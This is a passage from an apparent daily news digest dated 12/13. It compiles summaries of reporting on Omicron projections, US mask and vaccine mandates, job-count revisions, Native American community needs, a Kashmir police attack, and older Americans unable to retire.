health epidemic worse, specifically among Native American youth, says Arce.</p>

“That type of isolation, prolonged isolation, has really had an adverse effect on communities,” said Arce. Arce also noted that generally poor mental health among Native American youth and insufficient resources to address mental health concerns were worsened by the pandemic, with rates of suicide among Native American teenagers “sky high”.

Economic challenges such as poverty – [affecting one out of three Native Americans](#) – and high rates of unemployment are also chronic concerns in Native American communities, said Arce.

While Arce noted that much-needed aid was delivered to Indigenous communities through the Biden administration’s American Rescue Plan, different reservation communities, notably those in more rural areas, still face challenges securing basic infrastructure needs such as reliable electricity and running water.

“If we can overcome that next hurdle and really get these basic needs met for the reservation community, that’s going to be a huge improvement to the lives and wellbeing for those tribal members,” said Arce.

Education nationwide has also been hurt by the Covid-19 pandemic, but historically underfunded schools within the Bureau of Indian Education (BIE) system were already struggling to cope. The impact of the pandemic – such as meeting remote learning needs – has made the sector even more challenging.

Native communities had problems accessing reliable, high speed internet, an inequity termed the “digital divide”. [Previous attempts to deliver broadband to tribal communities](#) did not take into account power limitations in some areas. While there has been a surge of funding from recently passed social aid packages, Arce says that communities are still facing long-term problems such as the blighted conditions of school buildings, understaffed districts and teachers not receiving adequate pay.

Climate change will also affect Indigenous communities, Arce said, with its effects differing by region. For low-lying tribes based in states like Florida or Louisiana, predicted sea level rises could subsume communities. Similarly, Indigenous people in the northern plains could see their growth seasons, a critical fixture, disrupted.

“They’re going to essentially get evicted by the results of climate change,” said Arce.

Arce said that [the Navajo nation](#) is still dealing with the aftereffect of pollutants from uranium mining that occurred decades ago. Other tribes have struggled without basic necessities like clean drinking water, with [one in 10 Indigenous Americans lacking access to safe tap water or basic sanitation](#), a phenomenon called “plumbing poverty”.

Arce said that many of these struggles within Native communities aren’t new phenomena but are problems that have been plaguing residents for decades.

While the Biden administration is “definitely [moving in] a positive trajectory”, Arce said he is hopeful that more action can be taken in combination with recently passed policy to address basic necessities in tribal communities and other overwhelming needs.

“I know that the pace of government can be very slow so I hope that these policies and improvements turn into action and not just be a policy that doesn’t have a whole lot of teeth,” said Arce.

[Return to Top](#)

HEADLINE	12/13 Job gains hard to count during Covid
SOURCE	https://www.wsj.com/articles/why-u-s-job-gains-are-so-hard-to-count-during-covid-19-11639391408?mod=hp_lista_pos3
GIST	The monthly U.S. jobs report moves trillions of dollars in market trades and influences key policy decisions such as the Federal Reserve’s interest-rate plans.

But during the Covid-19 pandemic, economists have had an especially hard time predicting the report's headline number of jobs added. Meanwhile, the government itself has routinely made big revisions to its initial estimates.

Why? Two big reasons. Economists have struggled to [guess the behavior of consumers](#) and companies during unprecedented government stimulus, labor-market shifts and virus fears. Second, the government has seen a sharp decline in the payroll data it collects from employers. During one of the most volatile periods in recent memory, private and public-sector economists have a less firm grasp of what the labor market is doing.

During the pandemic, economists' estimates for job growth have often been off by hundreds of thousands of jobs. So far this year, for instance, economists' estimates have cumulatively surpassed the government's initial reports by about 1.3 million jobs.

In the days leading to the report on November payrolls, economists surveyed by The Wall Street Journal believed employers added 573,000 jobs that month. The Bureau of Labor Statistics said the actual number was 210,000, and it added 82,000 more jobs to its initial October payrolls estimate for a new total of 546,000.

Even in normal times, predicting job growth is hard. For one, the jobs report, typically released on the first Friday of each month, is one of the first glimpses of economic activity the government offers.

A second reason: the sheer size of the labor market, currently 149 million jobs. A forecast off the mark by 200,000 qualifies as a big miss. But as a percent of overall jobs, it is a rounding error. For November, the median economist forecast was off by 363,000 jobs added, which represented 0.2% of total U.S. payrolls.

The pandemic has added uncertainties. Congress sent households trillions of dollars in stimulus payments and enhanced unemployment benefits. Forecasters were caught off guard by how [quickly consumers spent that money](#), much of it on goods. Economists also struggled to ascertain how quickly businesses would reopen and consumers would return to restaurants and stores. This [summer's Delta variant added uncertainty](#) about whether employers would cut jobs.

The government has far more data than private-sector economists do. But even its estimates have been far off.

[BLS surveys about 145,000](#) employers in the middle of every month and produces an initial estimate that makes up the headline payrolls number of the jobs report. The agency subsequently provides two revisions to that estimate, as it collects more survey responses.

In any given month, many employers respond to the survey late or not at all. The BLS says its big revisions reflect a sharp drop in survey respondents during the pandemic, as often happens during times of economic turmoil. [The response rate fell](#) from 59% in February 2020 to 45% last month, BLS data show.

"You're now asking companies to pony up economic data when they themselves are struggling to keep in business," said Georgetown University professor Keith Hall, former head of the BLS. In many cases employees who fill out the questionnaire are preoccupied with other tasks or have been laid off.

When businesses don't respond, the agency must guess their payroll size, said Cornell University's Erica Groshen, who also previously headed the BLS. Often late survey responders are "biased" in one direction—they hired or fired en masse, Ms. Groshen said. When the agency finally collects their responses, it incorporates them into new estimates, leading to big revisions.

The BLS also routinely reaches out to new companies to join the survey sample, to keep up with changes in the types and size of companies that constitute the labor force. There, too, the agency has run into trouble. The share of companies agreeing to be surveyed—the so-called "initiation rate"—has fallen by half over the pandemic to 32% in October. This has led to a smaller sample size, which has likely led to

more “noise,” or bigger swings in estimates and re-estimates, Ms. Groshen said. “As your sample decreases, even if it’s representative, you’re going to get more random variation because you don’t have everybody in it,” she said.

Then there is seasonal adjustment. The BLS tweaks the raw survey data to account for seasonal patterns of hiring, such as when retailers boost hiring for the holidays.

Households shifted spending to goods from services, and to online from physical stores. [Retailers likely reduced staffing](#) at in-person stores, said Stephen Stanley, chief economist at analytics firm Amherst Pierpont. The shift may have affected retail employment in November, typically a big month for hiring.

The BLS reported that retailers cut 20,400 jobs in November, after accounting for seasonal factors. Without adjustments, the industry added 331,600 jobs.

Seasonal effects also caused November’s overall employment figure to look weak. Without adjustments, the economy added 778,000 jobs, the largest non-seasonally adjusted gain in any November on records dating from 1939.

“The evolution of the structure of the economy has accelerated because of the pandemic,” Mr. Stanley said. He believes part of the problem is the labor shortage, which has prevented many businesses from hiring in months that typically include big job gains.

[Return to Top](#)

HEADLINE	12/13 Denmark, Norway: grim omicron projection
SOURCE	https://www.nytimes.com/2021/12/13/health/omicron-cases-denmark-norway.html
GIST	<p>Public health authorities in Denmark and Norway on Monday released grim projections for the coming wave of the Omicron coronavirus variant, predicting that it will dominate both countries in a matter of days. Although scientists don’t yet know how often the variant causes severe disease, they say its rapid rate of spread will lead to an explosion of cases and could potentially increase pressure on hospitals, even if it proves to be mild.</p> <p>The reports follow similarly worrisome findings from England released over the weekend, although researchers caution that the trend could change as the variant comes into clearer view. It’s not yet certain how often Omicron infections will send people to the hospital, or how many hospitalized patients are likely to die. And while Omicron can partly evade immune defenses, researchers have yet to determine how well vaccinations and previous infections will protect people against severe disease.</p> <p>The authors of both new reports also observed that swift actions now, such as booster campaigns and reducing opportunities for Omicron to spread, could lessen the variant’s impact.</p> <p>American researchers have yet to release models of Omicron’s rise in the United States. But experts point out that the country is similar to Norway and Denmark in terms of vaccination levels and certain Covid risk factors, like the average age of the population.</p> <p>“It would be naïve to think the United States would be any different than Denmark,” Mads Albertsen, a microbiologist at Aalborg University, said. “Denmark is likely a best-case scenario.”</p> <p>In recent weeks, many epidemiologists have been paying close attention to Denmark, a country of 5.8 million residents, about the population of Wisconsin.</p> <p>Early in the pandemic, the country set up a sophisticated surveillance system combining large-scale coronavirus testing with genetic sequencing of many samples. That strategy has allowed Denmark to spot newly emerging variants, even when they’re at low levels, and adjust public health policies to prepare for new surges.</p>

The first Omicron sample from Denmark was sequenced on Dec. 3. The specimen was collected on Nov. 23, around the same time researchers in [South Africa first told the world](#) about a rise in cases there.

Because sequencing genetic material from coronavirus samples can take days, Danish researchers developed a quick genetic test that picks up a few key mutations found only in Omicron. Every positive test result in Denmark is now screened for the new variant, resulting in an exceptionally comprehensive picture of Omicron's spread.

In the report released on Monday by the Statens Serum Institute in Copenhagen, researchers estimated that Omicron cases in Denmark were doubling every two days. Omicron is spreading much faster than Delta, which means that the new variant will become dominant by midweek, the report found.

Three-quarters of the Omicron cases are in people who have received two vaccine doses, which is about the same fraction of the entire country that's fully vaccinated. That high percentage indicates that vaccines are providing little protection from infection, though most scientists believe that the shots will still fend off severe disease and death.

The Danish data are consistent with a smaller report of [Omicron infections in the United States](#). Out of 43 documented cases, 34 — or about 79 percent — were people who were fully vaccinated.

“This thing can spread, and it can spread whether or not you were vaccinated,” Christina Ramirez, a biostatistician at the University of California, Los Angeles, said.

In England, researchers also found that full vaccination provided low protection against a breakthrough infection. But they found that booster shots restored defenses to much higher levels.

In these European countries, Omicron will not simply replace Delta: It will drive up cases. Currently, Denmark is seeing around 6,000 cases a day — already a record for the country and driven almost entirely by Delta. The Danish researchers project that Omicron will drive the daily cases to 10,000 by the end of the week, and the numbers will continue to climb from there.

The model predicts that the explosive growth could send large numbers of people to the hospital, even if the Omicron variant turns out to be milder than earlier variants. The Danish researchers also warned that Omicron outbreaks at hospitals, even if mild, could lead to dangerous drops in staffing as doctors and nurses are sent home to quarantine.

The authors of the new report cautioned that their model was preliminary. It did not take into account the potent protection that boosters can afford, for example. Right now, 21 percent of people in Denmark have gotten a booster shot, and the country is pursuing an aggressive booster campaign.

Even so, Troels Lillebaek, the director of the Statens Serum Institute, said that the next few weeks would be a major challenge for the country's hospitals.

“Regardless of the uncertainty about the precise severity and contagiousness of Omicron, there is a very high risk of an increasing number of admissions,” he said.

In Norway, researchers have also observed a rapid rise of Omicron in recent days. “The Omicron variant is becoming established in Norway and will soon dominate,” the Norwegian Institute of Public Health [said](#) in a statement on Monday.

In a preliminary scenario, the institute estimated that in about three weeks, there would be up to 90,000 to 300,000 cases per day — a stark increase from the current pace of about 4,700 cases per day, a record for Norway.

The Norwegian researchers also said this could lead to significantly more hospital admissions, even if Omicron is milder. They project that Norwegian hospitals will see 50 to 200 admissions each day, unless

swift measures slow the epidemic significantly. Right now, Norway is seeing about 30 admissions each day, which are already enough to put a strain on the country's hospitals.

"There is an urgent need to curb the Covid-19 epidemic with significant measures so that the Omicron variant does not cause an epidemic wave that places an enormous disease burden and completely overloads the health service," the Norwegian Institute of Public Health [warned](#).

Last week, Denmark imposed new [public health restrictions](#), including requiring restaurants and bars to close at midnight and switching some schools to virtual instruction before the winter holidays. It is also accelerating its booster campaign. People who are 40 or older and at least four and a half months past their second shot are now eligible for a third dose, the Danish Health Authority [said on Monday](#).

The Norwegian government also sped up its booster rollout and announced other new measures on Monday, though it stopped short of a full lockdown. The new measures include indoor mask mandates, a ban on serving alcohol, restrictions on social gatherings and social distancing requirements at organized events.

Omicron will probably spread quickly through the population in the United States as well, said Dr. Christopher Murray, director of the Institute for Health Metrics and Evaluation at the University of Washington, which is planning to release its Omicron models later this week.

"I would expect that we'll see Omicron in the U.S. becoming really the dominant strain end of the month or in January sometime," he said.

But because so much remains unknown about the variant's severity, it is difficult to predict how its spread will affect hospitalizations.

"There's a very big range of possible outcomes here," Dr. Murray said.

One key metric will be whether cases and hospitalizations rise in tandem in the coming weeks; if hospitalizations increase much more slowly than cases, that will be a good sign, he said.

But even if Omicron turns out to be relatively mild, its rapid spread could still put a heavy burden on hospitals, experts cautioned.

"Imagine that it spreads so fast that it produces an outbreak that peaks with twice as many people infected, yet it's half as likely to put somebody in the hospital," said Jeffrey Shaman, an infectious disease epidemiologist at Columbia University. "Well, that's a wash. That means that you'd see the same kind of crush that we saw last winter."

A surge of Delta cases is already hurting some hospitals, and Omicron's arrival also coincides with flu season, Joshua Salomon, an infectious disease expert and modeler at Stanford University, said.

"An Omicron surge on top of a Delta surge, at the same time that there might be rises in flu cases, is a very worrisome combination," he said.

[Return to Top](#)

HEADLINE	12/13 Omicron variant surging in Washington
SOURCE	https://www.nytimes.com/live/2021/12/13/world/covid-omicron-vaccines?type=stylIn-live-updates&label=coronavirus%20updates&index=0#testing-indicates-that-the-omicron-variant-is-surgin-in-washington-state
GIST	Researchers testing coronavirus samples in Washington State have recorded a rapid rise in cases with a mutation that is characteristic of the Omicron variant, mirroring trends that have emerged in countries like South Africa, Britain and Denmark.

Researchers at the University of Washington found that 13 percent of 217 positive coronavirus case specimens collected on Wednesday had the mutation. That was up from about 7 percent of samples they had tested from the day before, and 3 percent from the day before that — in a region that had its first identified cases only two weeks ago.

“It’s clearly looking like it’s rising really quickly,” said Dr. Pavitra Roychoudhury, a researcher at the University of Washington.

Dr. Roychoudhury cautioned that the relatively small sample sizes provided only a limited window into the variant’s trajectory. But even so, she said, the results add to worries that Omicron may be highly transmissible.

As Omicron spreads around the globe, scientists have seen evidence that the variant can partially evade existing immune defenses. But they are still trying to determine how often the variant causes severe disease.

Dr. Trevor Bedford, who studies the spread and evolution of viruses at the Fred Hutchinson Cancer Research Center in Seattle, said the Omicron numbers are still too small to have a large impact on overall case numbers, but he said that would likely change by next week as it continues to displace the virulent Delta version of the virus.

“There is an inevitable very large wave of Omicron,” Dr. Bedford said. “It’s going to happen.”

What’s much less certain is how much the new variant could trigger hospitalizations. Dr. Bedford said there are signs that the variant is producing less severe infections, but he said the range of possibilities for the variant remains wide.

Washington State may have a clearer window into Omicron’s spread than other parts of the country do, because of research groups in Seattle that have invested in testing and sequencing the virus’s genomic structure. Those researchers helped identify the initial reported outbreak of the coronavirus in the United States early in 2020.

The UW Medicine virology lab has been screening samples of the virus from across the state, looking for a single mutation that indicates Omicron’s presence — a technique that Dr. Roychoudhury said helps provide rapid warning of the variant’s spread. Detailed genomic sequencing of each sample is definitive, but can take longer, she said, adding that so far, all the samples that were flagged by spotting the mutation last week and then were sequenced have come back confirmed as Omicron.

The lab gets about half its samples from King County, which includes Seattle and is by far the most populous in the state. A small portion comes from outside Washington State.

[Return to Top](#)

HEADLINE	12/13 Total known coronavirus cases exceed 50M
SOURCE	https://www.nytimes.com/live/2021/12/13/world/covid-omicron-vaccines?type=stylIn-live-updates&label=coronavirus%20updates&index=0#50-million-covid-cases
GIST	<p>The total number of known coronavirus cases in the United States surpassed 50 million on Monday, according to a New York Times database.</p> <p>Fifty million can be a difficult number to grasp. It is more than the combined populations of Georgia, Michigan, North Carolina and Ohio. More than the entire population of Spain. Nearly 18 times the number of dollars an American college graduate can expect to earn in a lifetime.</p> <p>And it is almost certainly a substantial undercount of cases, since many infected people have no symptoms or mistake them for those of another illness, and not everyone gets tested — to say nothing of the huge shortage of available tests in the early weeks of the pandemic.</p>

Daily reports of new cases, which fell steadily in the early autumn, have been rising sharply in the last few weeks as the prevalent Delta variant continues to spread, especially in the Midwest, Southwest and New England. And [much remains unknown](#) about the worrisome new Omicron variant.

Hospitalizations and deaths have started to rise as well, and experts say the holidays and winter weather will probably make matters worse. Though the increases and Omicron may have helped to [prompt more vaccinations](#), more than one-quarter of the population still has not received even one dose, and about 61 percent are fully vaccinated.

Still, the official tally of 50 million cases and counting is one more painful marker in two years that have been riddled with them — one more occasion to take stock of what has been lost.

[More than 796,000 people have died in the United States because of the virus](#) — a toll unfathomable to most Americans when the pandemic began. The first 100,000 deaths hit [like a gut punch](#). But as successive round-number milestones were passed, they attracted less and less notice.

Then there are the untold ranks of the walking wounded: [loved ones of the dead](#), of course, but also people coping with [long-haul symptoms](#). Many viral illnesses are capable of causing chronic disability in a small percentage of patients, but when the denominator is 50 million, even a small percentage is a lot of people. Many of them have struggled to find treatment in, or even to be believed by, a health care system that has sometimes buckled under the weight of the acutely ill.

There are the mental health struggles wrought by fear and isolation. There is the economy, which is better than it was in the worst depths of the pandemic, but not yet near where it was before March 2020.

And there are the changes to the very fabric of how we live our lives: how we work and where, and even whether we are employed at all. How our children learn, and who cares for them.

Eventually, the experts say, the pandemic will abate, as previous pandemics have done. Americans will someday forget numbers like 50 million. But their ripples will be everywhere.

[Return to Top](#)

HEADLINE	12/13 Calif. reinstates indoor mask mandate
SOURCE	https://www.nytimes.com/live/2021/12/13/world/covid-omicron-vaccines?type=stylIn-live-updates&label=coronavirus%20updates&index=0#california-mask-mandate
GIST	<p>California will once again require residents to wear masks in indoor public settings everywhere in the state, amid uncertainty surrounding the rapid spread of the Omicron coronavirus variant and rising case rates as the holidays approach.</p> <p>The mandate will go into effect on Wednesday and will remain until at least Jan. 15, state officials said on Monday. The state will also require unvaccinated people attending so-called mega-events to show proof of a negative coronavirus test result from within a day, if it's an antigen test, and within two days for a P.C.R. test, and formally recommended that travelers returning to California get tested within a few days of their arrival.</p> <p>“We know people are tired and hungry for normalcy,” Dr. Mark Ghaly, the state’s secretary of health and human services, told reporters.</p> <p>But he said that science has shown that even a relatively small increase in indoor masking can help prevent the virus from spreading, which can in turn help keep hospitals from filling.</p> <p>Dr. Ghaly said that statewide, case rates have increased by 47 percent since Thanksgiving, but those increases have been concentrated in parts of the state — such as the Inland Empire, east of Los Angeles, and the vast Central Valley — where a smaller share of the population has been vaccinated.</p>

	<p>Those are, by and large, the same places where mask mandates have not been in effect for some time. In other areas, such as Los Angeles County, residents have been required to wear masks indoors for months since the emergence of the Delta variant.</p> <p>For Californians, the imposition of a fresh round of pandemic restrictions in mid-December is an unwelcome echo of last year's catastrophic winter.</p> <p>Last December, officials in the state — where residents had already been living under some of the most stringent lockdowns in the country for the better part of a year — imposed a curfew and new stay-at-home orders in a frantic effort to keep hospitals from being overwhelmed.</p> <p>Dr. Ghaly said that the mask mandate was meant to head off the need for any further restrictions, and he urged Californians to adhere to it, even in the absence of strict enforcement.</p> <p>“Part of what we’re doing today is making sure those conversations stay off the table,” he said, referring to other measures, such as business capacity limits. “I think that we have tools to keep California reasonably safe and protected.”</p> <p>On Monday, New York State began requiring people wear masks indoors in public if proof of full vaccination was not required, a policy that is in effect at least until Jan. 15. Businesses that do not require patrons to be masked could face civil and criminal penalties, including fines of up to \$1,000 per violation, and local health departments are responsible for enforcement.</p>
Return to Top	

HEADLINE	12/13 Court upholds NY healthcare workers vax
SOURCE	https://www.nytimes.com/live/2021/12/13/world/covid-omicron-vaccines?type=style-live-updates&label=coronavirus%20updates&index=0#the-supreme-court-allows-vaccine-mandate-for-new-york-health-care-workers
GIST	<p>The Supreme Court on Monday refused to block New York's requirement that health care workers be vaccinated against the coronavirus even when they cite religious objections.</p> <p>As is often the court's practice in rulings on emergency applications, its unsigned order included no reasoning. But Justice Neil M. Gorsuch filed a 14-page dissent saying that the majority had betrayed the court's commitment to religious liberty.</p> <p>Justice Samuel A. Alito Jr. joined Justice Gorsuch's dissent. Justice Clarence Thomas also said he would have blocked the vaccine requirement, but he gave no reasons.</p> <p>The Supreme Court in October refused to provide relief to health care workers in Maine who had made an essentially identical request in a challenge to a similar state requirement, over the dissents of the same three justices.</p> <p>The court has also rejected challenges to vaccination requirements at Indiana University, for personnel in New York City's school system and for workers at a Massachusetts hospital. The court also rejected a challenge to a federal mandate requiring masks for air travel.</p> <p>All of those rulings were issued by just one justice, which can be a sign that the legal questions involved were not considered substantial. But those one-justice rulings did not involve religion.</p> <p>The ruling came in a pair of challenges brought by doctors, nurses and other health care workers who said the requirement violated their right to the free exercise of religion. They argued that the availability of a medical exemption meant that the state was discriminating against religious practice.</p>
Return to Top	

HEADLINE	12/13 New York new statewide mask mandate
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SOURCE	https://www.nytimes.com/live/2021/12/13/world/covid-omicron-vaccines?type=styl-live-updates&label=coronavirus%20updates&index=0#new-yorkers-start-the-week-with-a-new-mask-mandate
GIST	<p>Starting Monday, when New Yorkers run into a store for a quick purchase, they will again have to make sure they have a face mask. A new statewide mandate requires masks at all indoor public spaces that do not require proof of full vaccination against the coronavirus for entry.</p> <p>Gov. Kathy Hochul announced the mandate on Friday, which is in effect until Jan. 15 when the state will reassess. Businesses that do not demand that patrons be masked could face civil and criminal penalties, including fines of up to \$1,000 per violation, and local health departments are responsible for enforcement.</p> <p>New York City, with 71 percent of its residents fully vaccinated against the coronavirus, already requires proof of at least one dose of a coronavirus vaccination to eat indoors at a restaurant or see a movie. But now masks will also be required unless full vaccination is mandated in those and all other indoor public places, including offices, stores and residential building lobbies.</p> <p>Individuals are considered fully vaccinated two weeks after the second shot of the two-dose Pfizer-BioNTech or Moderna vaccines or the first shot of one-dose Johnson & Johnson vaccine, according to the state and the Centers for Disease Control and Prevention. Children ages 5 to 11 statewide will only need to show one dose to be admitted to places requiring full vaccination, the state said.</p> <p>Considering that former Gov. Andrew M. Cuomo lifted most virus-related restrictions in June, including a requirement to wear masks in most settings, the new mandate is likely to be a big change, particularly in some rural and more conservative areas of the state.</p> <p>The new measure comes at a time when the nation is confronting a spike in Covid-19 cases, and scientists are unsure of the effect of the arrival of the Omicron variant. The seven-day average of new Covid cases in the United States on Saturday was 119,325 per day, an increase of 40 percent in just 14 days. In New York State, the average was 9,716 on Saturday, a 51 percent jump over 14 days.</p> <p>New York City has also seen a steep increase in cases since Thanksgiving, with an average of more than 2,600 new cases per day, according to city data, up from an average of less than 1,500 per day three weeks ago, according to city data. Regions of upstate New York are being even harder hit, with some 30 upstate hospitals ordered by the governor to suspend elective surgeries to alleviate the strain.</p> <p>A handful of county executives, many of them Republicans upstate, have been skeptical of the mandate, with some even vowing not to enforce it. Ms. Hochul addressed them on Monday, saying: “I encourage the county leaders, especially those who are asking me for help, to help alleviate the crisis they have in their health care systems, to look at their own actions and to see what else they can be doing to be a better partner.” She noted: “This is self-induced, in one sense.”</p> <p>On Sunday, at a briefing in Hamburg in western New York about the damage and power outages from storms the night before, Ms. Hochul was asked about the mask mandate.</p> <p>“Just wear a mask,” Ms. Hochul said, adding, “I know tomorrow is a big day; it doesn’t have to be that big a deal. It truly doesn’t. I’m just asking people to do something that is common sense, that we believe will help save lives and ultimately drive down the infections.”</p> <p>Dr. Anthony S. Fauci, President Biden’s top adviser on the pandemic, also strongly urged people to wear masks whenever they are indoors with people whose vaccination status is not known.</p> <p>“Masking is not going to be forever,” he said Sunday on ABC’s “This Week,” “but it can get us out of the very difficult situation we’re in now.”</p> <p>New York City had already planned to tighten the rules for dining and entertainment for children ages 5 to 11 starting Tuesday to have one dose to enter restaurants and theaters, and for adults starting on Dec. 27 to</p>

go from one dose of a vaccine to two except for those who initially received the one-shot Johnson & Johnson vaccine. But [the state's new mandate](#) supersedes both those rules for now.

A sweeping coronavirus vaccine mandate [for all private employers in New York City](#) takes effect on Dec. 27.

Mayor Bill de Blasio said Monday that the city planned to educate and work with business owners as the new state mask mandate rolls out, instead of emphasizing fines and enforcement. For weeks, he has resisted calls to implement a citywide mask mandate despite rising cases, fearing it would weaken the city's vaccination-focused strategy.

"The strategy of this city has been first and foremost vaccination, and that will continue to be the case," Mr. de Blasio said in a news briefing Monday. "But we are going to work with the state to implement this mask mandate. What we found is when we communicate with businesses, treat them with respect and a spirit of cooperation, we get a very good result."

[Return to Top](#)

HEADLINE	12/13 Kashmir violence escalates; 2 police killed
SOURCE	https://www.nytimes.com/2021/12/13/world/asia/india-kashmir-policemen-killed.html
GIST	<p>SRINAGAR, Kashmir — Militants fired on a police bus in the Indian region of Kashmir on Monday, killing at least two officers and wounding more than a dozen, the police said, just three days after a similar attack left two policemen dead.</p> <p>Kashmir, disputed between India and Pakistan, has long endured clashes between separatist insurgents and government forces, and the violence has escalated recently as strict security protocols imposed in 2019 and pandemic restrictions have been lifted. Pakistan, which contains a part of Kashmir, also claims the Indian portion, and there have been repeated conflicts along the boundary separating them.</p> <p>The attack on Monday, on the outskirts of the largest Kashmiri city, Srinagar, took place in a highly guarded area home to major Indian security establishments operating in the region. In the attack three days earlier, gunmen fired on a squad of officers patrolling streets in northern Kashmir.</p> <p>Jammu and Kashmir was India's only Muslim-majority state, with a degree of autonomy, until August 2019, when Prime Minister Narendra Modi's government drastically changed the region's political status. It stripped the region of its autonomy and its status as a state, and placed it under the direct control of New Delhi.</p> <p>Mr. Modi's government sent in thousands of troops, detained many people without charges, cut off Kashmir's internet and phone access to the outside and imposed a kind of lockdown. The moves were meant to smother militancy in Kashmir, but critics feared it would only heighten the region's troubles.</p> <p>"I think the question has been since August 2019 when things would go bad again," said Daniel Markey, a South Asia expert at the United States Institute of Peace, a U.S. government agency.</p> <p>"There has been an assumption that the Indian government would have a perpetual capacity to maintain a security crackdown such that you wouldn't see this kind of violence happen again, but that is a challenging and very costly thing to do," he added. "You let up a little bit, that creates openings. That's why critics thought it was ill-advised to begin with."</p> <p>Rather than a changed political landscape in Kashmir, Monday's attack highlighted old, lingering tensions, experts said.</p> <p>Police officials at the scene said the assailants tried to board the bus carrying about two dozen policemen returning to their base Monday evening. Unable to get on the bus, the attackers sprayed it with gunfire and fled.</p>

Mr. Modi was seeking more information and had expressed condolences to the officers' families, the prime minister's office [said on Twitter](#).

Protests and bouts of violence have erupted across Kashmir in recent months. The Indian government's move in 2019 split the region into two federally controlled territories. One of those territories, Ladakh, perched high in the Himalayas on the Chinese border, [observed a complete shutdown on Monday](#), demanding full statehood.

India has deployed additional paramilitary soldiers to try to tamp down the violence. Observers say the fresh attack is likely to increase tensions between the residents and the police, hundreds of whom have lost their lives fighting the insurgency since it erupted in the late 1980s.

Mehbooba Mufti, a former top elected official who governed the region in a coalition with Mr. Modi's Bharatiya Janata Party — a partnership that [ended abruptly in 2018](#) — said [on Twitter](#) that the attack on Monday belied the government's claims of having restored control and calm.

"Terribly sad to hear about the Srinagar attack in which two policemen were killed," Ms. Mufti wrote. The "false narrative of normalcy in Kashmir stands exposed yet there has been no course correction," she added.

Government forces reported killing two insurgents earlier on Monday, and there was speculation that the attack on the police bus could have been in retaliation.

Officials said they had received a tip about militants moving around Srinagar. They set up checkpoints to frisk travelers.

"Two suspected persons on noticing the police party fired indiscriminately upon them. In the ensuing encounter, two terrorists were neutralized on spot," the police said in a statement.

Minutes after that shootout, protests and clashes broke out in the area and angry residents, including women, threw rocks at the police vehicles and chanted anti-India slogans. Security forces dispersed the crowds with tear gas.

As the clashes continued, a resident, Arshid Malik, splashed the blood of the killed militants with water. "They are killing people on the streets here everyday," he said. "And the world is watching."

[Return to Top](#)

HEADLINE	12/13 Air Force discharges 27: vaccine refusal
SOURCE	https://www.washingtontimes.com/news/2021/dec/13/air-force-discharges-27-refusing-covid-19-vaccine/
GIST	<p>WASHINGTON — The Air Force has discharged 27 people for refusing to get the COVID-19 vaccine, making them what officials believe are the first service members to be removed for disobeying the mandate to get the shots.</p> <p>The Air Force gave its forces until Nov. 2 to get the vaccine, and thousands have either refused or sought an exemption. Air Force spokeswoman Ann Stefanek said Monday that these are the first airmen to be administratively discharged for reasons involving the vaccine.</p> <p>She said all of them were in their first term of enlistment, so they were younger, lower-ranking personnel. And while the Air Force does not disclose what type of discharge a service member gets, legislation working its way through Congress limits the military to giving troops in vaccine refusal cases an honorable discharge or general discharge under honorable condition.</p> <p>None of the 27 sought any type of exemption, medical, administrative or religious, Stefanek said. Several officials from the other services said they believe that so far only the Air Force has gotten this far along in the process and discharged people over the vaccine refusal.</p>

As a result, they were formally removed from service for failure to obey an order. Stefanek said it is also possible that some had other infractions on their records, but all had the vaccine refusal as one of the elements of their discharge.

According to the latest Air Force data, more than 1,000 airmen have refused the shot and more than 4,700 are seeking a religious exemption.

[Return to Top](#)

HEADLINE	12/13 Millions of Americans can't afford to retire
SOURCE	https://www.theguardian.com/money/2021/dec/13/americans-retire-work-social-security
GIST	<p>Maria Rios, 75, has worked as a food prep worker with contractor HMS Host at Phoenix Sky Harbor international airport for 17 years, where she makes \$14.50 an hour. Her husband, who is retired, only receives about \$400 a month in social security benefits. Rios would like to retire also, but she doesn't have the option even as she is battling ovarian cancer.</p> <p>When Covid-19 hit the US, Rios was one of thousands of workers in the food service industry who were furloughed, and was only recalled back to work a few months ago. While receiving unemployment assistance, Rios and her husband had to rely on food banks to have enough food to eat, and because she lost her health insurance along with her job, she had to skip cancer treatments until she was able to get Medicare, but still paid hundreds of dollars out of pocket for treatments.</p> <p>Her situation means that at a time when many might assume she should be enjoying a well-earned rest, she is still forced to work.</p> <p>"At 75 years old, I'm forced to still have to work to try to make ends meet. The healthcare the company provides is way too expensive and they've yet to provide a more affordable health insurance plan," said Rios, who pays about \$200 a month for her health insurance. "It's also very important for people to be able to have a pension too, to be able to retire with dignity so people aren't forced to be in a position where I am right now, 75 years old and still having to work".</p> <p>She even recently went on strike with her co-workers for 10 days, fighting for higher wages, more affordable healthcare and a pension.</p> <p>Media reports of older workers have often been framed as feel-good stories, such as a viral news report of an 89-year-old pizza delivery man who received a \$12,000 tip raised by a customer out of remorse, as he works 30 hours a week because he can't afford to retire on social security benefits alone. Or an 84-year-old woman who started a new job as a motel housekeeper in Maine in July 2020. Or an 81-year-old woman in Ohio who volunteered to start working at her favorite restaurant in November 2021 because it shut down temporarily due to an inability to hire and retain enough staff.</p> <p>But the grim reality is millions of Americans are working into their senior years because they can't afford not to have a job.</p> <p>Over the next decade, the number of workers ages 75 and older is expected to increase in the US by 96.5%, according to the Bureau of Labor Statistics, with their labor force participation rate projected to rise from 8.9% in 2020 to 11.7% by 2030, a rate that has steadily increased from 4.7% in 1996.</p> <p>By 2040, the US population of adults ages 65 and older is expected to increase to 80.8 million from 54.1 million in 2019.</p> <p>The number of workers who retired during the pandemic was about 2 million more than expected. 50.3% of US adults ages 55 and older said they were out of the labor force due to retirement in the third quarter of 2021, compared to 48.1% in the third quarter of 2019, according to an analysis by the Pew Research</p>

Center. Though in recent months, the unretirement rate of US workers has gradually increased toward pre-pandemic levels.

As the ageing US population grows, participation in retirement plans has declined since 2000. Nearly half of all families in the US have no retirement savings at all and inequality among Americans based on retirement savings is greater than income inequality. Over 15 million adults ages 65 and older are economically insecure, with incomes below 200% of the federal poverty line, with Black, Hispanic and women ages 65 and older more likely to live in poverty.

“I have no savings, no assets, I don’t even own the home I’ve been renting for 15 years,” said Dr Lisa Natale, 65, a chiropractor in Hawaii who put herself through school as a single mother. “There’s no way I could afford to retire.”

With the average estimated social security retirement benefit in 2021 at \$1,543 a month, even with a 5.9% cost of living adjusted increase for 2022, millions of Americans who rely on social security benefits are forced to continue working past retirement age in order to make ends meet.

Kathy Luebbe, a 69-year-old teacher in the Cincinnati, Ohio, area, has continued working through retirement age because social security benefits and her partial pension only provide \$2,600 a month, which is not enough to cover her bills and student loan payments.

